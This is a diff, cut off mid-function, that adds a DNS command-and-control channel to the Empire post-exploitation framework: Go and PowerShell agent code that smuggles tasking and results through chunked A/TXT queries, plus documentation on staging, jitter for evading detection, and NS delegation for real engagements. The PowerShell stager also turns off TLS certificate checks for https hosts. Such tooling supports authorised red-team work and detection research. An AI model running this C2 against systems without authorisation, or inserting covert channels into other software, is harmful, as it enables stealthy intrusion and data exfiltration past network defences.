diff --git a/CHANGELOG.md b/CHANGELOG.md index 27204fa1d..1770f5427 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -16,6 +16,12 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 ### Added +- Added DNS C2 listener (`empire/server/listeners/dns.py`) enabling full agent communication over DNS A/TXT records on UDP/53 +- Added PowerShell DNS stager and comms templates (`dns/dns.ps1`, `dns/comms.ps1`) with chunked upload/download, JOB-based large payload delivery, and Ed25519/ChaCha20/AES crypto stack +- Added Python DNS launcher with native UDP socket implementation (no external dependencies) +- Added Go agent DNS support via `comms.MessageSender` interface, native DNS client (`dns.go`), and DH key exchange over DNS (`dh.go`) +- Added DNS listener documentation (`docs/listeners/dns.md`) +- Added DNS listener API and launcher generation tests - Added a runtime `Background` option to C# modules, allowing operators to override background/foreground execution at task time ### Fixed diff --git a/docs/SUMMARY.md b/docs/SUMMARY.md index bff36fc9d..d772b2a19 100644 --- a/docs/SUMMARY.md +++ b/docs/SUMMARY.md @@ -14,6 +14,7 @@ * [OneDrive](listeners/onedrive.md) * [HTTP](listeners/http.md) * [Malleable C2](listeners/malleable-c2.md) + * [DNS](listeners/dns.md) * [Stagers](stagers/README.md) * [multi\_generate\_agent](stagers/multi_generate_agent.md) * [Plugins](plugins/README.md) diff --git a/docs/listeners/README.md b/docs/listeners/README.md index 0e8e11f7b..ecd84a945 100644 --- a/docs/listeners/README.md +++ b/docs/listeners/README.md @@ -15,6 +15,7 @@ Empire offers several listener types designed for different network conditions a * **HTTP/HTTPS**: A standard HTTP listener for internet-facing operations supports both standard HTTP and encrypted HTTPS. * **HTTP Malleable**: A customizable HTTP listener that allows beacons to match specific threat profiles. +* **DNS**: A listener that communicates entirely over DNS A/TXT records, ideal for restricted environments where only DNS egress is available. * **SMB**: A peer-to-peer listener that works over SMB pipes (**currently only supports IronPython**). * **HTTP Hop**: A listener that adds an intermediate hop or redirection server using PHP. * **Port Forward**: Enables chaining agents through port forwarding. diff --git a/docs/listeners/dns.md b/docs/listeners/dns.md new file mode 100644 index 000000000..4232fd08b --- /dev/null +++ b/docs/listeners/dns.md @@ -0,0 +1,98 @@ +# DNS + +The DNS listener in Empire enables agent communication **entirely over DNS queries**, using **A** and **TXT** records. This is particularly useful in restricted environments where only DNS traffic is allowed to leave the network. + +By default, the DNS listener runs on **port 53 (UDP)**. It implements a custom UDP DNS server that handles agent staging, tasking, and result collection without relying on any external DNS infrastructure. + +## How It Works + +The DNS listener uses a chunked protocol to transmit data within DNS query names: + +- **Upload (agent → server)**: Data is split into 60-byte Base64url chunks sent as **A record** queries. The last chunk is sent as a **TXT** query to receive the server's response. +- **Download (server → agent)**: For small responses (≤200 bytes), the data is returned directly in a single **TXT** record. For larger payloads, the server returns a `JOB:` reference, and the agent downloads the full response in chunks via sequential **TXT** queries. + +### Query Format + +| Direction | Format | Record Type | +| --------------------- | ------------------------------------- | ----------- | +| Upload (intermediate) | `r[TID]c[chunk]t[total].[base64].xyz` | A | +| Upload (last chunk) | `r[TID]c[chunk]t[total].[base64].xyz` | TXT | +| Download chunk | `s[JobID]c[index].xyz` | TXT | + +Where `TID` is a random transaction ID, `chunk` is the chunk index, and `total` is the total number of chunks. + +## Staging Process + +The DNS listener follows the same multi-stage negotiation as the HTTP listener: + +1. **STAGE0** – The launcher sends a routing packet to announce itself. The server generates the stager (stage 1) and buffers it for chunked download. +2. **STAGE1** – The agent downloads the stager via TXT chunks, executes it, then performs a Diffie-Hellman key exchange with Ed25519 certificate validation. A shared session key is derived. +3. **STAGE2** – The agent sends encrypted sysinfo. The server responds with the full agent code (`agent.ps1`), encrypted with the session key and delivered via JOB-based chunked download. + +After staging, the agent uses **TASKING_REQUEST** (Meta 4) and **RESULT_POST** (Meta 5) for runtime communication. + +## Key Configuration Options + +### **Host** + +The IP address or hostname that the agent will use as the DNS server for all queries. This must point to the Empire server (e.g., `127.0.0.1` for local testing, or a public IP / NS delegation in production). + +### **BindIP** + +The local IP address the DNS server binds to. Defaults to `0.0.0.0` (all interfaces). + +### **Port** + +The UDP port for the DNS server. Defaults to `53`. + +### **Staging Key** + +The staging key used to negotiate the session key between the agent and the server during the STAGE0–STAGE2 handshake. + +### **Delay & Jitter** + +- **DefaultDelay** – The interval (in seconds) at which the agent checks back with the server for new tasks. +- **DefaultJitter** – A randomness factor (between **0** and **1**) that modifies the delay to avoid detection through predictable timing patterns. + +### **DefaultLostLimit** + +The number of missed check-ins before the agent assumes it has lost communication and exits. + +### **DefaultProfile** + +The default communication profile for the agent, structured the same way as the HTTP listener profile. + +### Optional Fields + +- **KillDate** – The expiration date when the agent will automatically exit (MM/DD/YYYY). Leave empty for no expiration. +- **WorkingHours** – Defines when the agent will operate (e.g., `09:00-17:00`). Leave empty for 24/7 operation. + +## Cryptographic Stack + +The DNS listener uses the same cryptographic stack as the HTTP listener: + +- **ChaCha20-Poly1305** – Used for routing packet encryption/authentication between the agent and server. +- **AES-256-CBC + HMAC-SHA256** – Used for encrypting the payload body (encrypt-then-MAC). +- **Ed25519** – Used for certificate-based identity validation of the server. +- **Diffie-Hellman** – Used during STAGE1 to derive a shared session key. + +## Deployment Considerations + +### Local Testing + +For local testing, set `Host` to `127.0.0.1` and ensure nothing else is bound to port 53. + +### Production Deployment + +In a real engagement, the DNS listener requires that target machines send their DNS queries to the Empire server. This is typically achieved through: + +- **NS delegation** – Register a domain and point the NS records to the Empire server's IP. +- **Direct specification** – If you control the target's DNS configuration, point it at the Empire server directly. + +### Performance + +DNS has inherent bandwidth limitations compared to HTTP. Each query carries ~60 bytes of payload data, and each TXT response carries ~200 bytes. Large payloads (like the full agent code at ~50KB) require hundreds of DNS round-trips. As a result: + +- Staging takes longer than HTTP (~10–20 seconds depending on network latency). +- Task results are slower to return for large outputs. +- The listener is best suited for **low-bandwidth, high-stealth** scenarios where DNS is the only available egress channel. diff --git a/empire/server/core/stager_generation_service.py b/empire/server/core/stager_generation_service.py index 05d0ed29b..270ea1415 100755 --- a/empire/server/core/stager_generation_service.py +++ b/empire/server/core/stager_generation_service.py @@ -782,6 +782,7 @@ def generate_go_stageless(self, options, listener_name=None): "DELAY": delay, "JITTER": jitter, "LOST_LIMIT": lost_limit, + "LISTENER_TYPE": active_listener.info["Name"].lower(), "STAGING_KEY": base64.b64encode(staging_key.encode("UTF-8")).decode( "UTF-8" ), diff --git a/empire/server/data/agent/gopire/agent/agent.go b/empire/server/data/agent/gopire/agent/agent.go index 5eea742ca..c454524f2 100644 --- a/empire/server/data/agent/gopire/agent/agent.go +++ b/empire/server/data/agent/gopire/agent/agent.go @@ -45,7 +45,7 @@ type MainAgent struct { encryptionKey []byte } -func NewMainAgent(packetHandler comms.PacketHandler, messagesender *comms.HttpMessageSender, sessionID, killDate, workingHours string, delay int, jitter float64, lostLimit int, aeskey []byte, defaultResponse string) *MainAgent { +func NewMainAgent(packetHandler comms.PacketHandler, messagesender MessageSender, sessionID, killDate, workingHours string, delay int, jitter float64, lostLimit int, aeskey []byte, defaultResponse string) *MainAgent { packetHandler.SessionID = sessionID return &MainAgent{ diff --git a/empire/server/data/agent/gopire/comms/dh.go b/empire/server/data/agent/gopire/comms/dh.go index 485f466e3..cf7837f0b 100644 --- a/empire/server/data/agent/gopire/comms/dh.go +++ b/empire/server/data/agent/gopire/comms/dh.go @@ -154,3 +154,55 @@ func PerformDHKeyExchange(server string, sessionID string, stagingKey []byte, ag return sessionKey, newSessionID, nonce, nil } + +func PerformDHKeyExchangeDns(server string, sessionID string, stagingKey []byte, agent_private_cert_key []byte, agent_public_cert_key []byte, server_public_cert_key []byte) ([]byte, string, []byte, error) { + privateKey, publicKey, err := GenerateDHKeyPair() + if err != nil { + return nil, "", nil, fmt.Errorf("error generating DH keys: %v", err) + } + + nbytes := floorDiv((publicKey.BitLen() + 7), 8) + clientPubBytes := publicKey.FillBytes(make([]byte, nbytes)) + agentCert := sign_with_hash([]byte("SIGNATURE"), agent_private_cert_key) + message := append(clientPubBytes, agentCert...) + packetHandler := PacketHandler{} + encData := common.AesEncryptThenHMAC(stagingKey, message) + routingPacket := packetHandler.BuildRoutingPacket(stagingKey, sessionID, 2, encData) + + sender := NewDnsMessageSender(server) + responseData, err := sender.SendMessage(routingPacket) + if err != nil { + return nil, "", nil, fmt.Errorf("error sending DH via DNS: %v", err) + } + + parsedPackets, err := packetHandler.ParseRoutingPacket(stagingKey, responseData) + if err != nil { + return nil, "", nil, fmt.Errorf("error parsing routing packet: %v", err) + } + + var newSessionID string + for sid, packet := range parsedPackets { + newSessionID = sid + encData = packet[3].([]byte) + break + } + + if len(encData) < 32 { + return nil, "", nil, fmt.Errorf("invalid server response length in DH exchange") + } + + serverNonce := encData[:16] + serverPubKeyBytes := encData[16:] + serverPubKey := new(big.Int).SetBytes(serverPubKeyBytes) + + if !CheckPublicKey(serverPubKey) { + return nil, "", nil, fmt.Errorf("invalid server public key") + } + + sessionKey, err := ComputeDHSharedSecret(privateKey, serverPubKey) + if err != nil { + return nil, "", nil, fmt.Errorf("error computing shared secret: %v", err) + } + + return sessionKey, newSessionID, serverNonce, nil +} diff --git a/empire/server/data/agent/gopire/comms/dns.go b/empire/server/data/agent/gopire/comms/dns.go new file mode 100644 index 000000000..109d1d402 --- /dev/null +++ b/empire/server/data/agent/gopire/comms/dns.go @@ -0,0 +1,226 @@ +package comms + +import ( + "bytes" + "crypto/rand" + "encoding/base64" + "encoding/binary" + "errors" + "fmt" + "net" + "strings" + "time" +) + +type DnsMessageSender struct { + Server string // Format: "1.2.3.4:53" + Domain string // Format: "domain.com" +} + +func NewDnsMessageSender(server string) *DnsMessageSender { + domain := server + if strings.Contains(server, "://") { + domain = strings.Split(server, "://")[1] + } + if strings.Contains(domain, "/") { + domain = strings.Split(domain, "/")[0] + } + + // Assume nameserver is 8.8.8.8 for simplicity, or we parse from resolv.conf if we had more code + // Usually in DNS C2, the domain is the "host" field of the listener + // Let's fallback to asking system resolver (e.g. 8.8.8.8) to resolve our domain + return &DnsMessageSender{ + Server: "8.8.8.8:53", + Domain: domain, + } +} + +// SendMessage chunks routingPacket and sends it as DNS TXT/A requests, returning the decoded server response. +func (s *DnsMessageSender) SendMessage(routingPacket []byte) ([]byte, error) { + conn, err := net.Dial("udp", s.Server) + if err != nil { + return nil, err + } + defer conn.Close() + conn.SetDeadline(time.Now().Add(10 * time.Second)) + + if len(routingPacket) == 0 { + return nil, nil + } + + b64Data := base64.RawURLEncoding.EncodeToString(routingPacket) + + chunkSize := 50 + totalChunks := (len(b64Data) + chunkSize - 1) / chunkSize + + b := make([]byte, 2) + rand.Read(b) + msgID := binary.BigEndian.Uint16(b)%9000 + 1000 // To match r 4 digits + + var lastResponse []byte + + for i := 0; i < totalChunks; i++ { + start := i * chunkSize + end := start + chunkSize + if end > len(b64Data) { + end = len(b64Data) + } + + chunk := b64Data[start:end] + // Format: rct.. + queryDomain := fmt.Sprintf("r%dc%dt%d.%s.%s", msgID, i, totalChunks, chunk, s.Domain) + + qType := 1 // Type A for chunks if we aren't expecting a big response yet + if i == totalChunks-1 { + qType = 16 // TXT for the final chunk/GET + } + + resp, err := s.sendSingleQuery(conn, queryDomain, qType) + if err != nil { + return nil, err + } + if resp != nil { + lastResponse = resp + } + time.Sleep(100 * time.Millisecond) // short delay to prevent UDP drops + } + + return lastResponse, nil +} + +func (s *DnsMessageSender) sendSingleQuery(conn net.Conn, domain string, qType int) ([]byte, error) { + packet, err := buildDnsQuery(domain, qType) + if err != nil { + return nil, err + } + + _, err = conn.Write(packet) + if err != nil { + return nil, err + } + + respHeader := make([]byte, 512) + n, err := conn.Read(respHeader) + if err != nil { + return nil, err + } + + if qType == 16 { + return parseDnsTxtResponse(respHeader[:n]) + } + return nil, nil +} + +// buildDnsQuery creates a manual DNS query packet for a given domain +func buildDnsQuery(domain string, qType int) ([]byte, error) { + buf := new(bytes.Buffer) + + id := make([]byte, 2) + rand.Read(id) + buf.Write(id) + + buf.Write([]byte{0x01, 0x00}) // Flags + buf.Write([]byte{0x00, 0x01}) // QDCOUNT: 1 + buf.Write([]byte{0x00, 0x00}) // ANCOUNT: 0 + buf.Write([]byte{0x00, 0x00}) // NSCOUNT: 0 + buf.Write([]byte{0x00, 0x00}) // ARCOUNT: 0 + + labels := strings.Split(domain, ".") + for _, label := range labels { + if len(label) > 63 { + return nil, errors.New("DNS label too long") + } + buf.WriteByte(byte(len(label))) + buf.WriteString(label) + } + buf.WriteByte(0x00) // End of QNAME + + buf.Write([]byte{0x00, byte(qType)}) // QTYPE + buf.Write([]byte{0x00, 0x01}) // QCLASS: 1 (IN) + + return buf.Bytes(), nil +} + +// parseDnsTxtResponse parses a manual DNS response and extracts the first TXT record +func parseDnsTxtResponse(data []byte) ([]byte, error) { + if len(data) < 12 { + return nil, errors.New("DNS response too short") + } + + qdCount := binary.BigEndian.Uint16(data[4:6]) + anCount := binary.BigEndian.Uint16(data[6:8]) + + if anCount == 0 { + return nil, nil + } + + offset := 12 + // Skip Question Section + for i := 0; i < int(qdCount); i++ { + for offset < len(data) && data[offset] != 0 { + if data[offset]&0xC0 == 0xC0 { + offset += 2 + break + } else { + length := int(data[offset]) + offset += 1 + length + } + } + if offset < len(data) && data[offset] == 0 { + offset++ + } + offset += 4 + } + + // Read Answer Section + for i := 0; i < int(anCount); i++ { + if offset >= len(data) { + return nil, errors.New("malformed response") + } + + if data[offset]&0xC0 == 0xC0 { + offset += 2 + } else { + for offset < len(data) && data[offset] != 0 { + offset += 1 + int(data[offset]) + } + offset++ + } + + if offset+10 > len(data) { + return nil, errors.New("malformed response") + } + + qType := binary.BigEndian.Uint16(data[offset : offset+2]) + rdLength := binary.BigEndian.Uint16(data[offset+8 : offset+10]) + offset += 10 + + if offset+int(rdLength) > len(data) { + return nil, errors.New("malformed response") + } + + if qType == 16 { // TXT + txtLen := int(data[offset]) + if txtLen > 0 && offset+1+txtLen <= len(data) { + txtData := data[offset+1 : offset+1+txtLen] + res := string(txtData) + // Pad and decode base64 + res = strings.ReplaceAll(res, "-", "+") + res = strings.ReplaceAll(res, "_", "/") + pad := len(res) % 4 + if pad > 0 { + res += strings.Repeat("=", 4-pad) + } + + decoded, err := base64.StdEncoding.DecodeString(res) + if err != nil { + return txtData, nil + } + return decoded, nil + } + } + offset += int(rdLength) + } + + return nil, nil +} diff --git a/empire/server/data/agent/gopire/main.template b/empire/server/data/agent/gopire/main.template index 1f523b44f..e7acaa763 100644 --- a/empire/server/data/agent/gopire/main.template +++ b/empire/server/data/agent/gopire/main.template @@ -134,7 +134,11 @@ func main() { return } + {% if LISTENER_TYPE == "dns" %} + sessionKey, newSessionID, nonce, err := comms.PerformDHKeyExchangeDns(server, sessionID, stagingKey, agent_private_cert_key, agent_public_cert_key, server_public_cert_key) + {% else %} sessionKey, newSessionID, nonce, err := comms.PerformDHKeyExchange(server, sessionID, stagingKey, agent_private_cert_key, agent_public_cert_key, server_public_cert_key) + {% endif %} if err != nil { fmt.Println("Error performing DH key exchange:", err) return @@ -165,13 +169,19 @@ func main() { // Build and send routing packet for Stage 2 routingPacket := packetHandler.BuildRoutingPacket(stagingKey, sessionID, 3, encryptedSysInfo) + {% if LISTENER_TYPE == "dns" %} + sender := comms.NewDnsMessageSender(server) + _, _ = sender.SendMessage(routingPacket) + var messagesender comms.MessageSender = sender + {% else %} postURL := server + "/stage2" _, _ = http.Post(postURL, "application/octet-stream", bytes.NewReader(routingPacket)) - - messagesender, err := comms.NewHttpMessageSender(server, make(map[string]string), profile) + messagesender, _ := comms.NewHttpMessageSender(server, make(map[string]string), profile) + {% endif %} newAgent := agent.NewMainAgent(packetHandler, messagesender, sessionID, killDate, workingHours, delay, jitter, lostLimit, sessionKey, defaultResponse) + go newAgent.Run() select {} diff --git a/empire/server/data/agent/stagers/dns/comms.ps1 b/empire/server/data/agent/stagers/dns/comms.ps1 new file mode 100644 index 000000000..8fd2eda9b --- /dev/null +++ b/empire/server/data/agent/stagers/dns/comms.ps1 @@ -0,0 +1,474 @@ +# ========================= +# comms.ps1 (ChaCha routing + AES/HMAC bodies + ED25519) +# ========================= + +$Script:server = "{{ host }}"; +$Script:ControlServers = @($Script:server); +$Script:ServerIndex = 0; +$Script:Skbytes = [byte[]]@({{ agent_private_cert_key }}) +$Script:pk = [byte[]]@({{ agent_public_cert_key }}) +$Script:serverPubBytes = [byte[]]@({{ server_public_cert_key }}) + +if($server.StartsWith('https')){ + [System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}; +} + +function Get-BytesFromKey($Key){ + if($Key -is [byte[]]){ return $Key } + return [Text.Encoding]::UTF8.GetBytes([string]$Key) +} + +function Get-StagingKeyBytes { + if ($Script:StagingKeyBytes -is [byte[]] -and $Script:StagingKeyBytes.Length -gt 0){ return $Script:StagingKeyBytes } + $skCandidate = if ($Script:StagingKey) { $Script:StagingKey } elseif ($SK) { $SK } else { '' } + $Script:StagingKeyBytes = [Text.Encoding]::UTF8.GetBytes([string]$skCandidate) + return $Script:StagingKeyBytes +} + +function Get-SessionKeyBytes { + if ($Script:SessionKey -is [byte[]]) { return $Script:SessionKey } + $s = [string]$Script:SessionKey + # If it's base64, decode; else use UTF-8 bytes + try { + if($s -and $s.Length -gt 0 -and ($s.TrimEnd('=')).Length % 4 -in 0,2,3){ + $raw = [Convert]::FromBase64String($s) # will throw if not b64 + $Script:SessionKey = $raw + return $raw + } + } catch { } + $raw2 = [Text.Encoding]::UTF8.GetBytes($s) + $Script:SessionKey = $raw2 + return $raw2 +} + +$Script:SendMessage = { + param($Packets) + + if($Packets) { + # Encrypt body with current SessionKey + $EncBytes = Aes-EncryptThenHmac -Key $Script:SessionKey -Plain $Packets + + # Build ChaCha routing packet with STAGING key (not session key) + $RoutingPacket = New-RoutingPacket -EncData $EncBytes -Meta 5; + + $B64 = [Convert]::ToBase64String($RoutingPacket) + $B64 = $B64.Replace('+','-').Replace('/','_').Replace('=','') + + $ChunkSize = 60 + $TotalChunks = [Math]::Ceiling($B64.Length / $ChunkSize) + $TransID = Get-Random -Minimum 1000 -Maximum 9999 + $Domain = $Script:ControlServers[$Script:ServerIndex] + + for($i=0; $i -lt $TotalChunks; $i++) { + $StartIndex = $i * $ChunkSize + $Len = $ChunkSize + if($StartIndex + $Len -gt $B64.Length) { $Len = $B64.Length - $StartIndex } + $ChunkData = $B64.Substring($StartIndex, $Len) + + $Query = "r$($TransID)c$($i)t$($TotalChunks).$ChunkData.xyz" + try { + $null = Resolve-DnsName -Name $Query -Server $Domain -Type A -DnsOnly -ErrorAction SilentlyContinue + } catch {} + Start-Sleep -Milliseconds 20 + } + } +}; + +$Script:GetTask = { + try { + $RoutingPacket = New-RoutingPacket -EncData $Null -Meta 4; + $B64 = [Convert]::ToBase64String($RoutingPacket) + $B64 = $B64.Replace('+','-').Replace('/','_').Replace('=','') + + $TransID = Get-Random -Minimum 1000 -Maximum 9999 + $Domain = $Script:ControlServers[$Script:ServerIndex] + $Query = "r$($TransID)c0t1.$B64.xyz" + + $result = Resolve-DnsName -Name $Query -Server $Domain -Type TXT -DnsOnly -ErrorAction SilentlyContinue + if ($result -and ($result.Type -eq 'TXT' -or $result.RecordType -eq 'TXT')) { + $TxtData = ($result.Strings -join '') + if ($TxtData.Length -gt 0 -and $TxtData -ne "NO_TASK") { + # Handle large responses via JOB download + if ($TxtData.StartsWith("JOB:")) { + $JobID = $TxtData.Split(":")[1] + $DownloadB64 = "" + $c = 0 + while ($true) { + $DlQuery = "s$($JobID)c$($c).xyz" + try { + $dlResult = Resolve-DnsName -Name $DlQuery -Server $Domain -Type TXT -DnsOnly -ErrorAction SilentlyContinue + } catch { $dlResult = $null } + if ($null -ne $dlResult -and ($dlResult.Type -eq 'TXT' -or $dlResult.RecordType -eq 'TXT')) { + $ChunkTxt = ($dlResult.Strings -join '') + if ([string]::IsNullOrEmpty($ChunkTxt)) { break } + $DownloadB64 += $ChunkTxt + $c++ + Start-Sleep -Milliseconds 20 + } else { break } + } + $TxtData = $DownloadB64 + } + if (-not [string]::IsNullOrEmpty($TxtData)) { + $PadCount = 4 - ($TxtData.Length % 4) + if($PadCount -lt 4 -and $PadCount -gt 0) { $TxtData += '=' * $PadCount } + $TxtData = $TxtData.Replace('-','+').Replace('_','/') + return [Convert]::FromBase64String($TxtData) + } + } + } + } + catch { + $script:MissedCheckins += 1; + } +}; +# Requires .NET System.Numerics.BigInteger +Add-Type -AssemblyName System.Numerics + +# Version (translate __version__) +$script:__version__ = "1.0.dev0" + +# Constants as BigInteger +$script:bitLength = 256 +[System.Numerics.BigInteger]$script:q = [System.Numerics.BigInteger]::Pow(2,255) - 19 +[System.Numerics.BigInteger]$script:l = [System.Numerics.BigInteger]::Pow(2,252) + [System.Numerics.BigInteger]::Parse("27742317777372353535851937790883648493") + +function Hash { + param([byte[]]$m) + $sha = [System.Security.Cryptography.SHA512]::Create() + try { return $sha.ComputeHash($m) } finally { $sha.Dispose() } +} + +# Helper to emulate Python's non-negative modulo +function ModQ([System.Numerics.BigInteger]$x) { + $r = $x % $script:q + if ($r -lt 0) { $r += $script:q } + return $r +} + +function pow2 { + param([System.Numerics.BigInteger]$x, [int]$p) + + while ($p -gt 0) { + $x = ModQ($x * $x) + $p -= 1 + } + return $x +} + +function inv { + param([System.Numerics.BigInteger]$z) + + # Adapted from curve25519_athlon.c in djb's Curve25519. + $z2 = $z * $z % $script:q + $z9 = (pow2 $z2 2) * $z % $script:q # 9 + $z11 = ModQ($z9 * $z2) # 11 + $z2_5_0 = ModQ( (ModQ($z11 * $z11)) * $z9 ) # 31 == 2^5 - 2^0 + $z2_10_0 = ModQ( (pow2 $z2_5_0 5) * $z2_5_0 ) # 2^10 - 2^0 + $z2_20_0 = ModQ( (pow2 $z2_10_0 10) * $z2_10_0 ) # ... + $z2_40_0 = ModQ( (pow2 $z2_20_0 20) * $z2_20_0 ) + $z2_50_0 = ModQ( (pow2 $z2_40_0 10) * $z2_10_0 ) + $z2_100_0 = ModQ( (pow2 $z2_50_0 50) * $z2_50_0 ) + $z2_200_0 = ModQ( (pow2 $z2_100_0 100) * $z2_100_0 ) + $z2_250_0 = ModQ( (pow2 $z2_200_0 50) * $z2_50_0 ) # 2^250 - 2^0 + return ModQ( (pow2 $z2_250_0 5) * $z11 ) # 2^255 - 2^5 + 11 = q - 2 +} + +# d and I +[System.Numerics.BigInteger]$script:d = ModQ( -121665 * (inv 121666) ) +[System.Numerics.BigInteger]$script:I = [System.Numerics.BigInteger]::ModPow(2, (($script:q - 1) / 4), $script:q) + +function xrecover { + param([System.Numerics.BigInteger]$y) + + $xx = ($y * $y - 1) * (inv ($script:d * $y * $y + 1)) + $x = [System.Numerics.BigInteger]::ModPow($xx, (($script:q + 3) / 8), $script:q) + + if ( (ModQ($x * $x - $xx)) -ne 0 ) { + $x = ModQ($x * $script:I) + } + + if ( ($x % 2) -ne 0 ) { + $x = $script:q - $x + } + + return $x +} + +# Base point and identity +[System.Numerics.BigInteger]$By = ModQ( 4 * (inv 5) ) +[System.Numerics.BigInteger]$Bx = xrecover $By +$script:basePoint = @( + (ModQ($Bx)), + (ModQ($By)), + [System.Numerics.BigInteger]1, + (ModQ($Bx * $By)) +) +$script:ident = @([System.Numerics.BigInteger]0, [System.Numerics.BigInteger]1, [System.Numerics.BigInteger]1, [System.Numerics.BigInteger]0) + +function edwards_add { + param([object[]]$P, [object[]]$Q) + # Formula sequence 'addition-add-2008-hwcd-3' + + $x1,$y1,$z1,$t1 = $P + $x2,$y2,$z2,$t2 = $Q + + $a = ModQ( ($y1 - $x1) * ($y2 - $x2) ) + $b = ModQ( ($y1 + $x1) * ($y2 + $x2) ) + $c = ModQ( $t1 * 2 * $script:d * $t2 ) + $dd = ModQ( $z1 * 2 * $z2 ) + $e = ModQ( $b - $a ) + $f = ModQ( $dd - $c ) + $g = ModQ( $dd + $c ) + $h = ModQ( $b + $a ) + $x3 = ModQ( $e * $f ) + $y3 = ModQ( $g * $h ) + $t3 = ModQ( $e * $h ) + $z3 = ModQ( $f * $g ) + + return @($x3, $y3, $z3, $t3) +} + +function edwards_double { + param([object[]]$P) + # Formula sequence 'dbl-2008-hwcd' + $x1,$y1,$z1,$t1 = $P + + $a = ModQ($x1 * $x1) + $b = ModQ($y1 * $y1) + $c = ModQ(2 * $z1 * $z1) + # dd = -a + $e = ModQ( ($x1 + $y1) * ($x1 + $y1) - $a - $b ) + $g = ModQ( -$a + $b ) # dd + b + $f = ModQ( $g - $c ) + $h = ModQ( -$a - $b ) # dd - b + $x3 = ModQ( $e * $f ) + $y3 = ModQ( $g * $h ) + $t3 = ModQ( $e * $h ) + $z3 = ModQ( $f * $g ) + + return @($x3, $y3, $z3, $t3) +} + +function scalarmult { + param([object[]]$P, [System.Numerics.BigInteger]$e) + + if ($e -eq 0) { return $script:ident } + $half = [System.Numerics.BigInteger]::Divide($e, 2) + $Q = scalarmult $P $half + $Q = edwards_double $Q + if ( ($e -band 1) -ne 0 ) { + $Q = edwards_add $Q $P + } + return $Q +} + +# basePointPow[i] == scalarmult(basePoint, 2**i) +$script:basePointPow = New-Object System.Collections.ArrayList + +function make_basePointPow { + $P = $script:basePoint + for ($i = 0; $i -lt 253; $i++) { + [void]$script:basePointPow.Add($P) + $P = edwards_double $P + } +} + +make_basePointPow + +function scalarmult_B { + param([System.Numerics.BigInteger]$e) + + # scalarmult(basePoint, l) is the identity + $e = $e % $script:l + $P = $script:ident + for ($i = 0; $i -lt 253; $i++) { + if ( ($e -band 1) -ne 0 ) { + $P = edwards_add $P $script:basePointPow[$i] + } + $e = [System.Numerics.BigInteger]::Divide($e, 2) + } + if ($e -ne 0) { throw $e } # assert e == 0, e + return ,$P +} + +function encodeint { + param([System.Numerics.BigInteger]$y) + $bits = @() + for ($i = 0; $i -lt $script:bitLength; $i++) { + $bits += @([int](($y -shr $i) -band 1)) + } + $out = New-Object byte[] ($script:bitLength / 8) + for ($i = 0; $i -lt ($script:bitLength / 8); $i++) { + $sum = 0 + for ($j = 0; $j -lt 8; $j++) { + $sum += ($bits[$i * 8 + $j] -shl $j) + } + $out[$i] = [byte]$sum + } + return $out +} + +function encodepoint { + param([object[]]$P) + $x,$y,$z,$t = $P + $zi = inv $z + $x = ModQ($x * $zi) + $y = ModQ($y * $zi) + $bits = @() + for ($i = 0; $i -lt ($script:bitLength - 1); $i++) { + $bits += @([int](($y -shr $i) -band 1)) + } + $bits += @([int]($x -band 1)) + $out = New-Object byte[] ($script:bitLength / 8) + for ($i = 0; $i -lt ($script:bitLength / 8); $i++) { + $sum = 0 + for ($j = 0; $j -lt 8; $j++) { + $sum += ($bits[$i * 8 + $j] -shl $j) + } + $out[$i] = [byte]$sum + } + return $out +} + +function bit { + param([byte[]]$h, [int]$i) + $b = [int]$h[[int]([math]::Floor($i / 8))] + $b = $b -band 0xFF + return ($b -shr ($i % 8)) -band 1 +} + +function publickey_unsafe { + param([byte[]]$sk) + + $h = Hash $sk + [System.Numerics.BigInteger]$a = [System.Numerics.BigInteger]::Pow(2, ($script:bitLength - 2)) + for ($i = 3; $i -lt ($script:bitLength - 2); $i++) { + $a += [System.Numerics.BigInteger]::Pow(2, $i) * (bit $h $i) + } + $A = scalarmult_B $a + return (encodepoint $A) +} + +function Hint { + param([byte[]]$m) + $h = Hash $m + [System.Numerics.BigInteger]$s = 0 + for ($i = 0; $i -lt (2 * $script:bitLength); $i++) { + $s += [System.Numerics.BigInteger]::Pow(2, $i) * (bit $h $i) + } + return ,$s +} + +function signature_unsafe { + param([byte[]]$m, [byte[]]$sk, [byte[]]$pk) + + $h = Hash $sk + [System.Numerics.BigInteger]$a = [System.Numerics.BigInteger]::Pow(2, ($script:bitLength - 2)) + for ($i = 3; $i -lt ($script:bitLength - 2); $i++) { + $a += [System.Numerics.BigInteger]::Pow(2, $i) * (bit $h $i) + } + # r = Hint(bytes([h[j] for j in range(bitLength // 8, bitLength // 4)]) + m) + $sliceLen = [int]($script:bitLength / 4 - $script:bitLength / 8) + $rBytes = New-Object byte[] $sliceLen + [array]::Copy($h, [int]($script:bitLength / 8), $rBytes, 0, $sliceLen) + $rm = New-Object System.IO.MemoryStream + $bw = New-Object System.IO.BinaryWriter($rm) + try { + $bw.Write($rBytes) + $bw.Write($m) + $bw.Flush() + $r = Hint ($rm.ToArray()) + } finally { + $bw.Dispose(); $rm.Dispose() + } + + $R2 = scalarmult_B $r + $S = ( $r + (Hint ((encodepoint $R2) + $pk + $m)) * $a ) % $script:l + return ( (encodepoint $R2) + (encodeint $S) ) +} + +function isoncurve { + param([object[]]$P) + $x,$y,$z,$t = $P + return ( (ModQ($z) -ne 0) -and + (ModQ($x * $y) -eq ModQ($z * $t)) -and + ( ModQ($y * $y - $x * $x - $z * $z - $script:d * $t * $t) -eq 0 ) ) +} + +function decodeint { + param([byte[]]$s) + [System.Numerics.BigInteger]$r = 0 + for ($i = 0; $i -lt $script:bitLength; $i++) { + $r += [System.Numerics.BigInteger]::Pow(2, $i) * (bit $s $i) + } + return $r +} + +function decodepoint { + param([byte[]]$s) + [System.Numerics.BigInteger]$y = 0 + for ($i = 0; $i -lt ($script:bitLength - 1); $i++) { + $y += [System.Numerics.BigInteger]::Pow(2, $i) * (bit $s $i) + } + $x = xrecover $y + if ( ($x -band 1) -ne (bit $s ($script:bitLength - 1)) ) { + $x = $script:q - $x + } + $P = @($x, $y, [System.Numerics.BigInteger]1, (ModQ ($x * $y))) + if (-not (isoncurve $P)) { + throw [System.Exception] "decoding point that is not on curve" + } + return $P +} + +# Define SignatureMismatch exception class +class SignatureMismatch : System.Exception { + SignatureMismatch([string]$message) : base($message) {} +} + +function checkvalid { + param([byte[]]$s, [byte[]]$m, [byte[]]$pk) + + if 